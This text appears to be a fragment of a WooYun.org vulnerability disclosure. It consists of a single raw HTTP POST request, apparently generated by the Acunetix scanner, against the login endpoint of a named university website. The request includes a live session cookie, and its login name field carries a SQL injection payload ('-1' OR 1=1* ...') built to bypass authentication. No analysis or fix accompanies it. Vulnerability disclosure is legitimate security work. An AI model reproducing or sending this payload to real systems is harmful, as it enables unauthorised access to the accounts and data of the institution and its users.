WooYun.org

POST /bsuims/bsMainFrameInit.do HTTP/1.1
Content-Length: 1198
Content-Type: multipart/form-data; boundary=-----AcunetixBoundary_WKEXDRGNNP
X-Requested-With: XMLHttpRequest
Referer: http://www2.sdu.edu.cn
Cookie: JSESSIONID=440716D306D944252535C1AC6864FEA2
Host: www2.sdu.edu.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
Content-Type: multipart/form-data; boundary=-----AcunetixBoundary_XWXPLLYLKM
-------AcunetixBoundary_XWXPLLYLKM
Content-Disposition: form-data; name="loginAction"
######
-------AcunetixBoundary_XWXPLLYLKM
Content-Disposition: form-data; name="contextName"
scLoginPage
-------AcunetixBoundary_XWXPLLYLKM
Content-Disposition: form-data; name="contextPara"
null
-------AcunetixBoundary_XWXPLLYLKM
Content-Disposition: form-data; name="contextPath"
-------AcunetixBoundary_XWXPLLYLKM
Content-Disposition: form-data; name="controlType"
frame
-------AcunetixBoundary_XWXPLLYLKM
Content-Disposition: form-data; name="getPasswordActionNew"
############
-------AcunetixBoundary_XWXPLLYLKM
Content-Disposition: form-data; name="itemName"
loginAction
-------AcunetixBoundary_XWXPLLYLKM
Content-Disposition: form-data; name="login_autoLoginCheckbox"
1
-------AcunetixBoundary_XWXPLLYLKM
Content-Disposition: form-data; name="login_strLoginName"
-1' OR 1=1* or 'ECzIBlMZ'='
-------AcunetixBoundary_XWXPLLYLKM
Content-Disposition: form-data; name="login_strPassword"
g00dPa$$w0rD
-------AcunetixBoundary_XWXPLLYLKM
Content-Disposition: form-data; name="sectionName"
login
-------AcunetixBoundary_XWXPLLYLKM--